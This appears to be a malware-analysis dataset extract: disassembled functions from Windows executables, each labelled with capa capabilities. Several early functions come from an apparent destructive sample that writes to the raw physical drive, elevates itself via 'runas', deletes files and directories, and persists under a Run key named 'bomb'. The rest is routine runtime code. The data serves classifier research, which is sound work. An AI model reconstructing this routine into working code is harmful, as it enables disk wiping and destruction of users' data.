joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40102d
Capabilities:
Write file on windows

Disassembly:
call fcn.004012b3
call fcn.0040120b
call 0x40102d
call 0x401093
call 0x4010ed
call 0x40102d
call 0x401093
call 0x40113d
call fcn.0040129c
movabs rdi, str.log.txt
mov esi, 0x40000000
mov edx, 1
xor rcx, rcx
mov r8d, 2
xor r9, r9
call sub.KERNEL32.dll_CreateFileW
cmp rax, 0xffffffffffffffff
je 0x401089
mov qword [0x4025ee], rax
mov rdi, qword [0x4025ee]
movabs rsi, str.Operation_successful_r_n
mov edx, 0x14
lea rcx, [0x402608]
call sub.KERNEL32.dll_WriteFile
jmp entry0
mov edi, 1
call sub.KERNEL32.dll_ExitProcess
lea rdi, str..PhysicalDrive0
mov ecx, 0x80000000
or rcx, 0x40000000
or rcx, 0x20000000
mov edx, 3
mov r8d, 0
mov r9d, 3
call sub.KERNEL32.dll_CreateFileW
test rax, rax
js 0x4010e8
mov rdi, rax
lea rsi, [0x4022d2]
mov ecx, 0x200
call sub.KERNEL32.dll_ReadFile
call sub.KERNEL32.dll_WriteFile
call sub.KERNEL32.dll_CloseHandle
call sub.KERNEL32.dll_ExitProcess
call sub.KERNEL32.dll_GetCurrentProcess
mov rdi, rax
mov eax, 8
call sub.KERNEL32.dll_OpenProcessToken
mov rbx, rax
mov rdi, rbx
xor rax, rax
call sub.ADVAPI32.dll_CheckTokenMembership
test al, al
je 0x401116
jmp entry0
lea rsi, [0x402187]
lea rdi, str.runas
mov eax, 0
call sub.SHELL32.dll_ShellExecuteW
mov eax, 0x60
xor rdi, rdi
call sub.KERNEL32.dll_ExitProcess
mov rax, 0xfffffffffffffff5
call sub.KERNEL32.dll_GetStdHandle
mov rdi, rax
lea rsi, section..data
call sub.KERNEL32.dll_FindFirstFileW
mov qword [0x4025fe], rax
test rax, rax
js 0x401322
lea rsi, [0x40260c]
call sub.KERNEL32.dll_FindNextFileW
test rax, rax
je 0x4011e2
lea rsi, [0x402618]
mov rbx, rdi
call sub.KERNEL32.dll_lstrlenW
mov rdx, rax
lea rsi, [0x402004]
call 0x4011ef
lea rsi, [0x402004]
call sub.KERNEL32.dll_DeleteFileW
test rax, rax
je 0x4011c4
lea rsi, [0x402004]
call sub.KERNEL32.dll_RemoveDirectoryW
test rax, rax
je 0x4011d3
jmp 0x40116a
lea rsi, str.Error_deleting_file
call sub.KERNEL32.dll_WriteFile
jmp 0x40116a
lea rsi, str.Error_deleting_directory
call sub.KERNEL32.dll_WriteFile
jmp 0x40116a
lea rsi, [0x4025fe]
call sub.KERNEL32.dll_FindClose
push rbx
push rdx
mov rbx, rsi
mov rdx, rdi
mov al, byte [rbx]
mov byte [rdx], al
test al, al
je 0x40135f
inc rbx
inc rdx
jmp 0x4011f7
pop rdx
pop rbx
ret
Function at 0x401093
Capabilities:
Read file on windows
Write file on windows

Disassembly:
call fcn.004012b3
call fcn.0040120b
call 0x40102d
call 0x401093
call 0x4010ed
call 0x40102d
call 0x401093
call 0x40113d
call fcn.0040129c
movabs rdi, str.log.txt
mov esi, 0x40000000
mov edx, 1
xor rcx, rcx
mov r8d, 2
xor r9, r9
call sub.KERNEL32.dll_CreateFileW
cmp rax, 0xffffffffffffffff
je 0x401089
mov qword [0x4025ee], rax
mov rdi, qword [0x4025ee]
movabs rsi, str.Operation_successful_r_n
mov edx, 0x14
lea rcx, [0x402608]
call sub.KERNEL32.dll_WriteFile
jmp entry0
mov edi, 1
call sub.KERNEL32.dll_ExitProcess
lea rdi, str..PhysicalDrive0
mov ecx, 0x80000000
or rcx, 0x40000000
or rcx, 0x20000000
mov edx, 3
mov r8d, 0
mov r9d, 3
call sub.KERNEL32.dll_CreateFileW
test rax, rax
js 0x4010e8
mov rdi, rax
lea rsi, [0x4022d2]
mov ecx, 0x200
call sub.KERNEL32.dll_ReadFile
call sub.KERNEL32.dll_WriteFile
call sub.KERNEL32.dll_CloseHandle
call sub.KERNEL32.dll_ExitProcess
call sub.KERNEL32.dll_GetCurrentProcess
mov rdi, rax
mov eax, 8
call sub.KERNEL32.dll_OpenProcessToken
mov rbx, rax
mov rdi, rbx
xor rax, rax
call sub.ADVAPI32.dll_CheckTokenMembership
test al, al
je 0x401116
jmp entry0
lea rsi, [0x402187]
lea rdi, str.runas
mov eax, 0
call sub.SHELL32.dll_ShellExecuteW
mov eax, 0x60
xor rdi, rdi
call sub.KERNEL32.dll_ExitProcess
mov rax, 0xfffffffffffffff5
call sub.KERNEL32.dll_GetStdHandle
mov rdi, rax
lea rsi, section..data
call sub.KERNEL32.dll_FindFirstFileW
mov qword [0x4025fe], rax
test rax, rax
js 0x401322
lea rsi, [0x40260c]
call sub.KERNEL32.dll_FindNextFileW
test rax, rax
je 0x4011e2
lea rsi, [0x402618]
mov rbx, rdi
call sub.KERNEL32.dll_lstrlenW
mov rdx, rax
lea rsi, [0x402004]
call 0x4011ef
lea rsi, [0x402004]
call sub.KERNEL32.dll_DeleteFileW
test rax, rax
je 0x4011c4
lea rsi, [0x402004]
call sub.KERNEL32.dll_RemoveDirectoryW
test rax, rax
je 0x4011d3
jmp 0x40116a
lea rsi, str.Error_deleting_file
call sub.KERNEL32.dll_WriteFile
jmp 0x40116a
lea rsi, str.Error_deleting_directory
call sub.KERNEL32.dll_WriteFile
jmp 0x40116a
lea rsi, [0x4025fe]
call sub.KERNEL32.dll_FindClose
push rbx
push rdx
mov rbx, rsi
mov rdx, rdi
mov al, byte [rbx]
mov byte [rdx], al
test al, al
je 0x40135f
inc rbx
inc rdx
jmp 0x4011f7
pop rdx
pop rbx
ret

Function at 0x40120b
Capabilities:
Delete file
Delete registry key
Enumerate files on windows
Persist via run registry key
Set registry value

Disassembly:
mov dword [0x402531], 0x9c
lea rdi, [0x402531]
call sub.KERNEL32.dll_GetVersionExA
mov rax, 0xfffffffffffffff5
call sub.KERNEL32.dll_GetStdHandle
mov qword [0x4025f6], rax
lea rdi, [0x4024ed]
call fcn.00401362
mov eax, dword [0x402535]
call fcn.00401381
lea rdi, [0x40252e]
call fcn.00401362
lea rdi, str.Minor_Version:
call fcn.00401362
mov eax, dword [0x402539]
call fcn.00401381
lea rdi, [0x40252e]
call fcn.00401362
lea rdi, str.Build_Number:
call fcn.00401362
mov eax, dword [0x40253d]
call fcn.00401381
Function at 0x4012b3
Capabilities:
Delete file
Enumerate files on windows
Persist via run registry key
Set registry value

Disassembly:
xor rdi, rdi
lea rsi, [0x402187]
mov edx, 0x104
call sub.KERNEL32.dll_GetModuleFileNameA
mov edi, 0x80000001
lea rsi, str.SoftwareMicrosoftWindowsCurrentVersionRun
call sub.KERNEL32.dll_RegOpenKeyExA
test rax, rax
jne 0x401306
lea rdi, str.bomb
lea rsi, [0x402187]
call sub.KERNEL32.dll_RegSetValueExA
test rax, rax
je 0x401315
lea rdi, section..data
call fcn.0040132c
lea rdi, str.Startup_entry_failed.
call fcn.004013c6
jmp 0x401322
Function at 0x140011064
Capabilities:
Hash data using fnv

Disassembly:
jmp 0x140011c50
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0x20]
lea rcx, [0x1400240c0]
call fcn.1400113ca
xor eax, eax
test eax, eax
je 0x140011c8a
movsx eax, byte [rbp + 0xf8]
or eax, 0x20
mov dword [rbp + 0xc0], eax
jmp 0x140011c97
movsx eax, byte [rbp + 0xf8]
mov dword [rbp + 0xc0], eax
mov eax, dword [rbp + 0xc0]
mov ecx, dword [rbp + 0xf0]
xor ecx, eax
mov eax, ecx
imul eax, eax, 0x1000193
lea rsp, [rbp + 0xd8]
pop rdi
pop rbp
ret

Function at 0x140011221
Capabilities:
Terminate process

Disassembly:
jmp 0x140013c20
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112ad
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014f70
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014f90
xor al, al
jmp 0x140015011
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014fa3
xor al, al
jmp 0x140015011
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014fcd
xor al, al
jmp 0x140015011
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014fe1
xor al, al
jmp 0x140015011
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014ff3
xor al, al
jmp 0x140015011
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001500f
xor al, al
jmp 0x140015011
mov al, 1
add rsp, 0x38
ret
Function at 0x180003530
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 8], 0x49c464
mov eax, dword [rsp + 8]
mov eax, dword [rsp + 8]
add eax, ecx
imul eax, eax, 0x33737982
mov dword [rsp + 8], eax
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800035bf
mov dword [rsp + 8], 0x49c464
mov eax, dword [rsp + 8]
mov eax, dword [rsp + 8]
movsxd r8, dword [rcx + 0x3c]
add eax, ecx
imul eax, eax, 0x33737982
add r8, rcx
mov dword [rsp + 8], eax
mov dword [rsp + 8], 0x49c464
mov eax, dword [rsp + 8]
mov eax, dword [rsp + 8]
add eax, r8d
imul eax, eax, 0x33737982
cmp dword [r8], 0x4550
mov dword [rsp + 8], eax
jne 0x1800035bf
mov dword [rsp + 8], 0x49c464
mov eax, dword [rsp + 8]
mov eax, dword [rsp + 8]
add eax, ecx
imul eax, eax, 0x33737982
mov dword [rsp + 8], eax
mov rax, r8
ret
mov dword [rsp + 8], 0x49c464
mov eax, dword [rsp + 8]
mov eax, dword [rsp + 8]
add eax, ecx
imul eax, eax, 0x33737982
mov dword [rsp + 8], eax
xor eax, eax
ret
Function at 0x408a00
Capabilities:
Accept command line arguments

Disassembly:
push rbp
sub rsp, 0x40
mov rbp, rsp
mov qword [rbp + 0x38], 0
nop
xor rax, rax
mov dword [rbp + 0x2c], eax
call sub.kernel32.dll_GetCommandLineW
mov rcx, rax
lea rdx, [rbp + 0x38]
call fcn.00408910
mov rcx, rax
lea rdx, [rbp + 0x38]
call fcn.00408910
cmp qword [rbp + 0x38], 0
je 0x408a46
mov ecx, dword [rbp + 0x2c]
add ecx, 1
mov dword [rbp + 0x2c], ecx
jmp 0x408a28
nop
nop
lea rcx, [rbp + 0x38]
call fcn.0040e060
mov eax, dword [rbp + 0x2c]
lea rsp, [rbp + 0x40]
pop rbp
ret

Function at 0x40bfa0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push r14
push r13
push rdi
push rsi
push rbx
sub rsp, 0x30
mov qword [rsp + 0x28], rcx
mov ebx, edx
mov rax, qword [rsp + 0x28]
mov r13d, dword [rax + 0x18]
mov rcx, qword [rsp + 0x28]
call fcn.0040c2f0
mov esi, eax
test sil, sil
jne 0x40c162
test ebx, ebx
je 0x40c162
xor rdi, rdi
test r13d, r13d
jle 0x40c07f
call sub.kernel32.dll_GetTickCount
mov r14d, eax
test r13d, r13d
jle 0x40c05e
cmp ebx, 0xffffffff
je 0x40c00b
call sub.kernel32.dll_GetTickCount
sub eax, r14d
cmp eax, ebx
jb 0x40c00b
xor rsi, rsi
jmp 0x40c162
mov rax, qword [rsp + 0x28]
cmp dword [rax], 1
jg 0x40c05e
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0
jne 0x40c050
xor eax, eax
mov ecx, 1
mov rdx, qword [rsp + 0x28]
lock cmpxchg dword [rdx], ecx
test eax, eax
jne 0x40c050
call sub.kernel32.dll_GetCurrentThreadId
mov rcx, qword [rsp + 0x28]
mov dword [rcx + 8], eax
mov dword [rcx + 4], 1
mov sil, 1
jmp 0x40c162
call fcn.0040c340
sub r13d, 1
test r13d, r13d
jg 0x40bff2
nop
cmp ebx, 0xffffffff
je 0x40c07f
call sub.kernel32.dll_GetTickCount
mov ecx, eax
sub ecx, r14d
cmp ecx, ebx
jb 0x40c07a
xor rsi, rsi
jmp 0x40c162
sub eax, r14d
sub ebx, eax
mov rax, qword [rsp + 0x28]
mov ecx, dword [rax]
test ecx, ecx
je 0x40bfbb
mov edx, ecx
add edx, 2
mov eax, ecx
mov r8, qword [rsp + 0x28]
lock cmpxchg dword [r8], edx
cmp eax, ecx
jne 0x40c07f
nop
call sub.kernel32.dll_GetTickCount
mov r14d, eax
mov rcx, qword [rsp + 0x28]
call fcn.0040c210
xor rcx, rcx
mov rdx, rax
mov r8d, ebx
mov rax, qword [0x00630990]
call qword [rax + 0x20]
test eax, eax
sete sil
cmp ebx, 0xffffffff
je 0x40c0ec
call sub.kernel32.dll_GetTickCount
mov ecx, eax
sub ecx, r14d
cmp ecx, ebx
jae 0x40c0e9
sub eax, r14d
sub ebx, eax
jmp 0x40c0ec
xor rbx, rbx
test sil, sil
je 0x40c120
mov rax, qword [rsp + 0x28]
mov ecx, dword [rax]
mov eax, ecx
test eax, 1
jne 0x40c11d
mov edx, ecx
sub edx, 2
or edx, 1
mov eax, ecx
mov r8, qword [rsp + 0x28]
lock cmpxchg dword [r8], edx
cmp eax, ecx
jne 0x40c0f1
mov dil, 1
nop
jmp 0x40c13f
mov rax, qword [rsp + 0x28]
mov ecx, dword [rax]
mov edx, ecx
sub edx, 2
mov eax, ecx
mov r8, qword [rsp + 0x28]
lock cmpxchg dword [r8], edx
cmp eax, ecx
jne 0x40c120
mov dil, 1
test dil, dil
je 0x40c0a4
nop
test sil, sil
je 0x40c162
call sub.kernel32.dll_GetCurrentThreadId
mov rcx, qword [rsp + 0x28]
mov dword [rcx + 8], eax
mov dword [rcx + 4], 1
mov eax, esi
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop r13
pop r14
ret
Function at 0x40daf0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x40
cmp byte [0x00630098], 0
je 0x40db8e
cmp word [0x006303a8], 0xd7b2
jne 0x40db23
cmp dword [0x006303b0], 0
jbe 0x40db23
lea rcx, [0x006303a0]
call qword [0x006303c8]
mov ecx, 0xfffffff5
call sub.kernel32.dll_GetStdHandle
mov rcx, rax
lea rdx, [0x006028d4]
mov r8d, 0x25
lea r9, [rsp + 0x3c]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile
mov ecx, 0xfffffff5
call sub.kernel32.dll_GetStdHandle
mov rbx, rax
lea rcx, [0x0040dbc4]
call fcn.0040f280
mov rcx, rbx
mov rdx, rax
mov r8d, 2
lea r9, [rsp + 0x3c]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile
jmp 0x40dbb0
cmp byte [0x00601052], 0
jne 0x40dbb0
xor rcx, rcx
lea rdx, [0x006028d4]
lea r8, [0x006027e4]
xor r9, r9
call sub.user32.dll_MessageBoxA
add rsp, 0x40
pop rbx
ret

Function at 0x411c40
Capabilities:
Check os version

Disassembly:
sub rsp, 0x28
lea rcx, [0x00634c80]
call sub.kernel32.dll_InitializeCriticalSection
mov word [0x00634ca8], 0x7f
call sub.kernel32.dll_GetVersion
and eax, 0xff
cmp eax, 6
setae al
mov byte [0x00634c78], al
cmp byte [0x00634c78], 0
je 0x411cdf
lea rcx, [0x00411ce4]
call sub.kernel32.dll_GetModuleHandleW
mov rcx, rax
lea rdx, [0x00411cfe]
call sub.kernel32.dll_GetProcAddress
mov qword [0x00634c60], rax
lea rcx, [0x00411ce4]
call sub.kernel32.dll_GetModuleHandleW
mov rcx, rax
lea rdx, [0x00411d1c]
call sub.kernel32.dll_GetProcAddress
mov qword [0x00634c68], rax
lea rcx, [0x00411ce4]
call sub.kernel32.dll_GetModuleHandleW
mov rcx, rax
lea rdx, [0x00411d3a]
call sub.kernel32.dll_GetProcAddress
mov qword [0x00634c70], rax
add rsp, 0x28
ret
Function at 0x411f70
Capabilities:
Get geographical location

Disassembly:
push rbp
sub rsp, 0x1d0
mov rbp, rsp
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x40], rdx
mov word [rbp + 0x4e], r8w
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x58], 0
nop
mov rcx, qword [rbp + 0x40]
call fcn.0040e060
movzx rax, word [rbp + 0x4e]
cmp word [0x00603058], ax
ja 0x412058
movzx rax, word [rbp + 0x4e]
cmp ax, word [0x00603458]
mov word [rbp + 0x4e], ax
ja 0x412058
mov ecx, 0x40
xor r8, r8
cmp ecx, r8d
jb 0x412057
mov eax, ecx
add eax, r8d
mov r9d, 2
xor edx, edx
div r9d
lea rdx, [0x00603058]
mov r9d, eax
add r9, r9
movzx r10, word [rbp + 0x4e]
cmp word [rdx + r9*8], r10w
jbe 0x412011
mov ecx, eax
sub ecx, 1
jmp 0x412052
lea rdx, [0x00603058]
mov r8d, eax
add r8, r8
movzx r9, word [rbp + 0x4e]
cmp word [rdx + r8*8], r9w
jae 0x412033
mov r8d, eax
add r8d, 1
jmp 0x412052
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x40]
lea r8, [0x00603060]
mov eax, eax
add rax, rax
mov r8, qword [r8 + rax*8]
call fcn.00411e10
jmp 0x412057
cmp ecx, r8d
jae 0x411fe0
nop
mov rax, qword [rbp + 0x40]
cmp qword [rax], 0
jne 0x41213a
movzx rcx, word [rbp + 0x4e]
movzx ecx, cx
mov edx, 2
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x41213a
movzx rcx, word [rbp + 0x4e]
movzx ecx, cx
mov edx, 0x59
lea r8, [rbp + 0x126]
mov r9d, 0x55
call sub.kernel32.dll_GetLocaleInfoW
movzx rcx, word [rbp + 0x4e]
movzx ecx, cx
mov edx, 0x5a
lea r8, [rbp + 0x7c]
mov r9d, 0x55
call sub.kernel32.dll_GetLocaleInfoW
lea rcx, [rbp + 0x68]
lea rdx, [rbp + 0x126]
mov r8d, 0x55
call fcn.0040fb90
lea rcx, [rbp + 0x60]
lea rdx, [rbp + 0x7c]
mov r8d, 0x55
call fcn.0040fb90
lea rcx, [rbp + 0x58]
lea rdx, [rbp + 0x126]
mov r8d, 0x55
call fcn.0040fb90
mov rcx, qword [rbp + 0x40]
mov edx, 5
mov r8, qword [rbp + 0x68]
lea r9, [0x00412194]
mov rax, qword [rbp + 0x60]
mov qword [rsp + 0x20], rax
lea rax, [0x004121a4]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.00410010
nop
lea rcx, [rbp + 0x58]
mov edx, 3
call fcn.0040e140
mov rax, qword [rbp + 0x40]
lea rsp, [rbp + 0x1d0]
pop rbp
ret
Function at 0x4123b0
Capabilities:
Identify system language via api

Disassembly:
push rbp
sub rsp, 0x50
mov rbp, rsp
mov qword [rbp + 0x28], rcx
mov word [rbp + 0x36], dx
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], 0
nop
lea rcx, [0x00634c80]
call sub.kernel32.dll_EnterCriticalSection
movzx rax, word [rbp + 0x36]
cmp word [0x00634ca8], ax
jne 0x41241b
mov rcx, qword [rbp + 0x28]
lea rdx, [0x00634caa]
mov r8d, 0x55
call fcn.0040fb90
lea rcx, [0x00634c80]
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x412527
lea rcx, [0x00634c80]
call sub.kernel32.dll_LeaveCriticalSection
mov rcx, qword [rbp + 0x28]
call fcn.0040e060
movzx rcx, word [rbp + 0x36]
movzx ecx, cx
mov edx, 2
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x4124e0
cmp byte [0x00634c78], 0
je 0x412474
mov rcx, rbp
lea rdx, [rbp + 0x48]
movzx r8, word [rbp + 0x36]
call fcn.00412240
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x48]
call fcn.0040e690
jmp 0x4124e0
mov rcx, rbp
lea rdx, [rbp + 0x40]
movzx r8, word [rbp + 0x36]
call fcn.00411f70
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x40]
call fcn.0040e690
call sub.kernel32.dll_GetSystemDefaultUILanguage
movzx rcx, word [rbp + 0x36]
cmp cx, ax
mov word [rbp + 0x36], cx
je 0x4124e0
mov rax, qword [rbp + 0x28]
cmp qword [rax], 0
je 0x4124bf
mov rcx, qword [rbp + 0x28]
lea rdx, [0x00412574]
call fcn.0040fe00
call sub.kernel32.dll_GetSystemDefaultUILanguage
mov rcx, rbp
lea rdx, [rbp + 0x38]
mov r8d, eax
call fcn.00411f70
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x38]
call fcn.0040fe00
lea rcx, [0x00634c80]
call sub.kernel32.dll_EnterCriticalSection
movzx rax, word [rbp + 0x36]
mov word [0x00634ca8], ax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax]
call fcn.0040fa90
lea rcx, [0x00634caa]
mov rdx, rax
mov r8d, 0xaa
call sub.kernel32.dll_lstrcpynW
lea rcx, [0x00634c80]
call sub.kernel32.dll_LeaveCriticalSection
nop
lea rcx, [rbp + 0x38]
mov edx, 3
call fcn.0040e140
mov rax, qword [rbp + 0x28]
lea rsp, [rbp + 0x50]
pop rbp
ret
Function at 0x412f30
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push rbp
sub rsp, 0x50
mov rbp, rsp
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x70], r8
mov rcx, qword [rbp + 0x70]
call fcn.0040e1f0
nop
call sub.kernel32.dll_GetUserDefaultUILanguage
movzx ecx, ax
mov edx, 3
lea r8, [rbp + 0x48]
mov r9d, 4
call sub.kernel32.dll_GetLocaleInfoW
lea rcx, [rbp + 0x38]
lea rdx, [rbp + 0x48]
mov r8d, 4
call fcn.0040fb90
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x70]
mov r8, qword [rbp + 0x38]
call fcn.0040fef0
mov rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x20]
mov rdx, qword [rax]
call fcn.00412d50
test al, al
jne 0x412ffe
mov word [rbp + 0x4c], 0
lea rcx, [rbp + 0x30]
lea rdx, [rbp + 0x48]
mov r8d, 4
call fcn.0040fb90
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x70]
mov r8, qword [rbp + 0x30]
call fcn.0040fef0
mov rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x20]
mov rdx, qword [rax]
call fcn.00412d50
test al, al
jne 0x412ffe
mov rcx, qword [rbp + 0x20]
call fcn.0040e060
nop
lea rcx, [rbp + 0x30]
mov edx, 2
call fcn.0040e140
lea rcx, [rbp + 0x70]
call fcn.0040e060
mov rax, qword [rbp + 0x20]
lea rsp, [rbp + 0x50]
pop rbp
ret
Function at 0x413070
Capabilities:
Identify system language via api

Disassembly:
push rbp
sub rsp, 0x70
mov rbp, rsp
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x88], rdx
mov qword [rbp + 0x90], r8
mov rcx, qword [rbp + 0x88]
call fcn.0040e1f0
mov rcx, qword [rbp + 0x90]
call fcn.0040e1f0
nop
mov rcx, qword [rbp + 0x28]
call fcn.0040e060
lea rcx, [rbp + 0x60]
mov rdx, qword [rbp + 0x90]
call fcn.0040e710
xor rax, rax
cmp qword [rbp + 0x90], 0
je 0x413113
mov rax, qword [rbp + 0x90]
mov eax, dword [rax - 4]
cmp eax, 1
jl 0x41314d
mov rcx, qword [rbp + 0x90]
movsxd rdx, eax
cmp word [rcx + rdx*2 - 2], 0x2e
jne 0x413146
lea rcx, [rbp + 0x60]
mov rdx, qword [rbp + 0x90]
mov r8d, 1
mov r9d, eax
call fcn.00410100
jmp 0x41314d
sub eax, 1
test eax, eax
jne 0x413118
nop
lea rcx, [rbp + 0x68]
mov rdx, qword [rbp + 0x88]
call fcn.00412c40
cmp qword [rbp + 0x68], 0
je 0x41318b
mov rcx, rbp
lea rdx, [rbp + 0x58]
mov r8, qword [rbp + 0x60]
mov r9, qword [rbp + 0x68]
call fcn.00412df0
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x58]
call fcn.0040e690
jmp 0x413227
call sub.kernel32.dll_GetUserDefaultUILanguage
lea rcx, [rbp + 0x48]
mov edx, eax
call fcn.004123b0
mov rcx, rbp
lea rdx, [rbp + 0x50]
mov r8, qword [rbp + 0x60]
mov r9, qword [rbp + 0x48]
call fcn.00412df0
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x50]
call fcn.0040e690
mov rax, qword [rbp + 0x28]
cmp qword [rax], 0
jne 0x413200
cmp byte [0x00634c78], 0
jne 0x413200
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea rcx, [rbp + 0x38]
mov edx, eax
call fcn.004123b0
mov rcx, rbp
lea rdx, [rbp + 0x40]
mov r8, qword [rbp + 0x60]
mov r9, qword [rbp + 0x38]
call fcn.00412df0
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x40]
call fcn.0040e690
mov rax, qword [rbp + 0x28]
cmp qword [rax], 0
jne 0x413227
mov rcx, rbp
lea rdx, [rbp + 0x30]
mov r8, qword [rbp + 0x60]
call fcn.00412f30
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x30]
call fcn.0040e690
nop
lea rcx, [rbp + 0x30]
mov edx, 8
call fcn.0040e140
lea rcx, [rbp + 0x88]
mov edx, 2
call fcn.0040e140
mov rax, qword [rbp + 0x28]
lea rsp, [rbp + 0x70]
pop rbp
ret

Function at 0x413e40
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
lea rcx, [rsp + 0x20]
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [rsp + 0x40]
add rsp, 0x58
ret

Function at 0x413e60
Capabilities:
Check os version

Disassembly:
sub rsp, 0x28
call sub.kernel32.dll_GetVersion
mov ecx, eax
and ecx, 0xff
and eax, 0xff00
shr eax, 8
cmp ecx, 5
jne 0x413e84
cmp eax, 1
jae 0x413e89
cmp ecx, 5
jbe 0x413e95
mov dword [0x006309a0], 0x7f
jmp 0x413e9f
mov dword [0x006309a0], 0x409
add rsp, 0x28
ret